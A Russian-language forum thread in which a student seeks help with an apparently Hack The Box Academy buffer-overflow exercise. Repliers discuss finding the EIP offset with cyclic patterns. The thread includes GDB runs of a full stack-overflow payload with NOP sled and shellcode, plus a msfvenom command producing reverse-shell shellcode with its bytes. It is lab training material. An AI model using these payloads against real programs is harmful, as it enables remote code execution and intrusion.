есть такая задачка Submit the size of the stack space after overwritting the EIP as the answer. (Format: 0x00000) я эксплуатирую переполнение буффера в Linux в GDB вот так выглядит пайлоад совсем остальным Buffer = "\x55" * (1040 - 124 - 95 - 4) = 841 NOPs = "\x90" * 124 Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2" EIP = "\x66" * 4' задача в том чтоб потом гдето посмотреть то что мне нужно. я делал вот так: (gdb) x/2000xb $esp+550 и там вот так 0xffffd79a: 0x77 0xa4 0x3d 0xe8 0x7c 0x7b 0x3d 0x66 0xffffd7a2: 0x66 0x66 0x66 0x00 0x4c 0x53 0x5f 0x43 0ч66666666 эт окусок нагрузки вот регистры eax 0xffffd395 -11371 ecx 0xffffd1b0 -11856 edx 0xffffd1d4 -11820 ebx 0x56556fd4 1448439764 esp 0xffffd174 0xffffd174 ebp 0xffffd178 0xffffd178 esi 0xf7fc2000 -134471680 edi 0x0 0 eip 0x56555551 0x56555551 как узнать то мне нужно?
Если я правильно понимаю, задача состоит в определении размера буфера и смещения, по которому располагающееся значение перезапишет адрес возврата. Типичный способ - генерирование последовательности Де Брёйна, скармливание полученной строки программе, получение из eip значения, и получение по этому значению смещения перезаписи eip. В качестве инструмента можно использовать radare2. Сначала нужно сгенерить последовательность. Пусть будет длина 200: ragg2 -P 200 -r > pattern.txt Значение шаблона, разумеется нужно , чтобы попало в буфер. Далее нужно добыть значение, которое лежит в верху стека , когда программа пытается сделать ret. В gdb это можно сделать так: - выполнить команду (gdb) info frame Там нужно значение из saved rip (пусть это будет 0x414b41414a414149). Берем его и снова запускаем ragg2 : ragg2 -q 0x414b41414a414149 Получаем значение смещения, с которого начинается перезапись адрес возврата. Пример - https://forum.reverse4you.org/t/radare-2/1141 , часть "Генерирование пэйлоада" Но вообще-то это если задачка - ты вы сами должны были это изучить.
Код (DOS): tb-student@nixbof32:~$ gdb -q bow Reading symbols from bow...(no debugging symbols found)...done. (gdb) break bowfunc Breakpoint 1 at 0x551 (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b" + "\x66" * 4') Starting program: /home/htb-student/bow $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b" + "\x66" * 4') Breakpoint 1, 0x56555551 in bowfunc () (gdb) info registers eax 0xffffd3c7 -11321 ecx 0xffffd1f0 -11792 edx 0xffffd214 -11756 ebx 0x56556fd4 1448439764 esp 0xffffd1b4 0xffffd1b4 ebp 0xffffd1b8 0xffffd1b8 esi 0xf7fc2000 -134471680 edi 0x0 0 eip 0x56555551 0x56555551 <bowfunc+4> eflags 0x292 [ AF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) info frame Stack level 0, frame at 0xffffd1c0: eip = 0x56555551 in bowfunc; saved eip = 0x565555af called by frame at 0xffffd1f0 Arglist at 0xffffd1b8, args: Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0 Saved registers: ebp at 0xffffd1b8, eip at 0xffffd1bc (gdb) тут неиспользуется радар тут средствами GDB последовательность я генерил метасплоитовским патерном, смещение получил обрезал лишнее указав смещение в мсфвеном теперь у меня есть шел код и доп байтики но как в гнудебаггере получить то что тут просят так и непонял
Такая дичь даже при использовании вд(ядерный отладчик нт штатный) не нужна. А что это такое тут - дампы какие в полном бреду: Вам товарищ не OP кодить, а к психиатру. Я в гугла ось не шарю, но там ведь эмулятор, а ты пишешь про нэйтив, это дичь для линей там харда нет.
вот както так Код (DOS): Starting program: /home/htb-student/bow $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"') Breakpoint 1, 0x56555551 in bowfunc () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x69423569 in ?? () (gdb) info registers eax 0x1 1 ecx 0xffffd7a0 -10336 edx 0xffffd183 -11901 ebx 0x33694232 862536242 esp 0xffffd020 0xffffd020 ebp 0x42346942 0x42346942 esi 0xf7fc2000 -134471680 edi 0x0 0 eip 0x69423569 0x69423569 eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) root@gusli:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569 [*] Exact match at offset 1036 root@gusli:~#
нет в курсе прокладки нету=) очевидно там надо просто адрес както подсчитать но я непонимаю как вот хинт к заданию Hint With "help info" in GDB, further hints can help to view the processes and their information. если что это вот эта таска https://academy.hackthebox.eu/module/31 --- Сообщение объединено, 27 ноя 2020 --- вот исходник с таска Код (C++): #include <stdlib.h> #include <stdio.h> #include <string.h> int bowfunc(char *string) { char buffer[1024]; strcpy(buffer, string); return 1; } int main(int argc, char *argv[]) { bowfunc(argv[1]); printf("Done.\n"); return 1; } и вот пайлоад Код (Text): (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07\x54\x69\x12\xd5\x17" + "\x66" * 4')
Да поди просто мусором затирают ret и потому он всплывает в eip, это чистый школо-експлойт. addedie, Смотри сам, у тебя на 1036 должен стоять адрес, куда ты прыгнешь. А у тебя (1040 - 124 - 95 - 4) + 124 нопа + 30 с гаком твоей полосы + 4 байта какой-то ерунды. Ты свою полосу дизасмить пробовал? как-то она не вяжется с таском. \хcd\x80 где? \x0f\x34? \x0f\x05? надо бы конечно посмотреть что за полоса, вижу что с3 есть, и возможно всё преобразится, но сейчас не на чем.
ну такое задание непонятное, чт оя могу поделать...так и непонял че там указать. там же постепенно подходят к теме реализации...както так. ща пробую сделать вот так.. Код (Text): сперва ставлю бряк на bowfunc: (gdb) break bowfunc потом: (gdb) run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07\x54\x69\x12\xd5\x17" + "\x66" * 4') а что дальше делать непонимаю что им нужно туда вписать в ответ.... пробовал вбивать еще вот это (gdb) x/2000xb $esp+550 но нифига путного там ненашел кроме своей нагрузки еще и ссш постоянно отваливается и да еси че я генерировал веномом пайлоад он здесь и указан Код (Text): root@gusli:~# msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of c file: 425 bytes Saved as: shellcode root@gusli:~# cat shellcode unsigned char buf[] = "\xbd\x5f\xd0\xfc\xd1\xda\xc3\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x12\x83\xc2\x04\x31\x6a\x0e\x03\x35\xde\x1e\x24\xf8\x05\x29" "\x24\xa9\xfa\x85\xc1\x4f\x74\xc8\xa6\x29\x4b\x8b\x54\xec\xe3" "\xb3\x97\x8e\x4d\xb5\xde\xe6\x32\x45\x21\xf7\xa4\x47\x21\x8d" "\x5d\xc1\xc0\xc1\xf8\x81\x53\x72\xb6\x21\xdd\x95\x75\xa5\x8f" "\x3d\xe8\x89\x5c\xd5\x9c\xfa\x8d\x47\x34\x8c\x31\xd5\x95\x07" "\x54\x69\x12\xd5\x17"; root@gusli:~#